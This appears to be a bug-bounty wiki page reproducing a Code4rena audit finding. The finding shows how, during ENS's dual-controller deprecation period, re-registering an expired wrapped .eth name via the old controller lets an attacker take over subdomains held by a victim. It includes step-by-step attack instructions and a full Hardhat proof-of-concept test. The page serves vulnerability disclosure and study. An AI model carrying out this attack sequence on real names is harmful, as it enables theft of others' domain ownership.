Skip to content
Access control Audit finding Advanced

During the deprecation period where both .eth registrar controllers are active, a crafted hack can be launched and cause the same malicious consequences of [H-01] even if [H-01] is properly fixed

During the deprecation period when both the old and new .eth registrar controllers are active, an attacker can re-register an expired wrapped name using the old controller, which implicitly unwraps it while the NameWrapper still considers it valid. The attacker can then reclaim the registry owner and take over subdomains that were previously transferred to a victim with PARENT_CANNOT_CONTROL burnt.

izhuer Follow

Originally disclosed on Code4rena

Submitted by izhuer

Specifically, according to the documentation, there will be a deprecation period that two types of .eth registrar controllers are active.

Names can be registered as normal using the current .eth registrar controller. However, the new .eth registrar controller will be a controller on the NameWrapper, and have NameWrapper will be a controller on the .eth base registrar.

Both .eth registrar controllers will be active during a deprecation period, giving time for front-end clients to switch their code to point at the new and improved .eth registrar controller.

The current .eth registrar controller can directly register ETH2LD and send to the user, while the new one will automatically wrap the registered ETH2LD.

If the two .eth registrar controllers are both active, an ETH2LD node can be implicitly unwrapped while the NameWrapper owner remains to be the hacker.

Note that this hack can easily bypass the patch of [H-01].

Considering the following situtation.

  • the hacker registered and wrapped an ETH2LD node sub1.eth, with PARENT_CANNOT_CONTROL | CANNOT_UNWRAP burnt. The ETH2LD will be expired shortly and can be re-registred within the aformentioned deprecation period.

  • after sub1.eth is expired, the hacker uses the current .eth registrar controller to register sub1.eth to himself.

    • at this step, the sub1.eth is implicitly unwrapped.
    • the hacker owns the registrar ERC721 as well as the one of ENS registry for sub1.eth.
    • however, sub1.eth in NameWrapper remains valid.
  • he sets EnsRegistry.owner of sub1.eth as NameWrapper.

    • note that this is to bypass the proposed patch for [H-01].
  • he wraps sub2.sub1.eth with PARENT_CANNOT_CONTROL | CANNOT_UNWRAP and trafers it to a victim user.

  • he uses BaseRegistrar::reclaim to become the EnsRegistry.owner of sub1.eth

    • at this step, the hack can be launched as [H-01] does.

For example,

  • he can first invokes EnsRegistry::setSubnodeOwner to become the owner of sub2.sub1.eth
  • he then invokes NameWrapper::wrap to wrap sub2.sub1.eth to re-claim as the owner.

Note that it does not mean the impact of the above hack is limited in the deprecation period.

What the hacker needs to do is to re-registers sub1.eth via the old .eth registrar controller (in the deprecation period). He can then launch the attack any time he wants.

Proof of Concept

    it('Attack happens within the deprecation period where both .eth registrar controllers are active', async () => {
      await NameWrapper.registerAndWrapETH2LD(
        label1,
        hacker,
        1 * DAY,
        EMPTY_ADDRESS,
        CANNOT_UNWRAP
      )

      // wait the ETH2LD expired and re-register to the hacker himself
      await evm.advanceTime(GRACE_PERIOD + 1 * DAY + 1)
      await evm.mine()

      // XXX: note that at this step, the hackler should use the current .eth
      // registrar to directly register `sub1.eth` to himself, without wrapping
      // the name.
      await BaseRegistrar.register(labelHash1, hacker, 10 * DAY)
      expect(await EnsRegistry.owner(wrappedTokenId1)).to.equal(hacker)
      expect(await BaseRegistrar.ownerOf(labelHash1)).to.equal(hacker)

      // set `EnsRegistry.owner` as NameWrapper. Note that this step is used to
      // bypass the newly-introduced checks for [H-01]
      //
      // XXX: corrently, `sub1.eth` becomes a normal node
      await EnsRegistryH.setOwner(wrappedTokenId1, NameWrapper.address)

      // create `sub2.sub1.eth` to the victim user with `PARENT_CANNOT_CONTROL`
      // burnt.
      await NameWrapperH.setSubnodeOwner(
        wrappedTokenId1,
        label2,
        account2,
        PARENT_CANNOT_CONTROL | CANNOT_UNWRAP,
        MAX_EXPIRY
      )
      expect(await NameWrapper.ownerOf(wrappedTokenId2)).to.equal(account2)

      // XXX: reclaim the `EnsRegistry.owner` of `sub1.eth` as the hacker
      await BaseRegistrarH.reclaim(labelHash1, hacker)
      expect(await EnsRegistry.owner(wrappedTokenId1)).to.equal(hacker)
      expect(await BaseRegistrar.ownerOf(labelHash1)).to.equal(hacker)

      // reset the `EnsRegistry.owner` of `sub2.sub1.eth` as the hacker
      await EnsRegistryH.setSubnodeOwner(wrappedTokenId1, labelHash2, hacker)
      expect(await EnsRegistry.owner(wrappedTokenId2)).to.equal(hacker)

      // wrap `sub2.sub1.eth` to re-claim as the owner
      await EnsRegistryH.setApprovalForAll(NameWrapper.address, true)
      await NameWrapperH.wrap(encodeName('sub2.sub1.eth'), hacker, EMPTY_ADDRESS)
      expect(await NameWrapper.ownerOf(wrappedTokenId2)).to.equal(hacker)
    })

Recommended Mitigation Steps

May need to discuss with ENS team. A naive patch is to check whther a given ETH2LD node is indeed wrapped every time we operate it. However, it is not gas-friendly.

jefflau (ENS) confirmed

Alex the Entreprenerd (judge) commented:

The Warden has shown how, because of the migration period, with two controller registrar being active at the same time, a malicious attacker could claim sub-nodes that belong to other people.

In contrast to an external requirement that is vague, the Sponsor has made it clear that a similar setup will happen in reality, and because of the impact, I agree with a High Severity.

It may be worth exploring a “Migration Registry”, which maps out which name was migrated, while allowing migration to move only in one way.

izhuer (warden) commented:

The corresponding patch looks valid.

I was trying to find a more gas-efficient (w/o tricky code) mitigation patch but did not get lucky yet. I will let Sponsor know here if I figure it out.

csanuragjain (warden) commented:

Looks good to me. For expired node, if registrar owner is not NameWrapper then owner is nullified and becomes address(0)

if(
registrarExpiry > block.timestamp &&
                registrar.ownerOf(uint256(labelHash)) != address(this)
            ) {
                owner = address(0);
            }

The original report as published on Code4rena, by izhuer. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the old .eth registrar controller registers names directly in the ENS registry without updating the NameWrapper state, so the wrapper's record of ownership becomes stale and can be abused after the attacker reclaims the registry owner.

Impact

An attacker could take ownership of subdomains that were transferred to a victim with PARENT_CANNOT_CONTROL burnt, and the attack can be launched at any time after re-registering during the deprecation period.

What the attacker needed

Deprecation period with both controllers active; attacker owns an expired wrapped ETH2LD; victim holds a subdomain with PARENT_CANNOT_CONTROL

The fix

The text says a patch was proposed and the warden commented that it looks valid, but does not describe the patch details; a naive fix would be to check whether an ETH2LD is actually wrapped on every operation, though that is not gas-friendly.

How it was found

  1. Register and wrap an ETH2LD with CANNOT_UNWRAP burnt, then let it expire.
  2. Re-register the expired ETH2LD using the old .eth registrar controller, which implicitly unwraps it.
  3. Set the ENS registry owner of the ETH2LD to the NameWrapper address to bypass the H-01 patch.
  4. Create a subdomain under the ETH2LD for a victim with PARENT_CANNOT_CONTROL burnt.
  5. Use BaseRegistrar::reclaim to become the ENS registry owner of the ETH2LD again.
  6. Call setSubnodeOwner to take the subdomain, then wrap it to become its NameWrapper owner.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ENS names can be wrapped in a contract called NameWrapper, which adds extra rules such as preventing the parent from taking back a subdomain. During a transition period, two different contracts can register .eth names. The report shows that using the old contract to re-register an expired name silently removes the wrapper, but the wrapper still thinks the name is wrapped. This mismatch lets an attacker later take back a subdomain that was supposed to be permanently given to someone else.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by izhuer

View all

1 more disclosed report, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.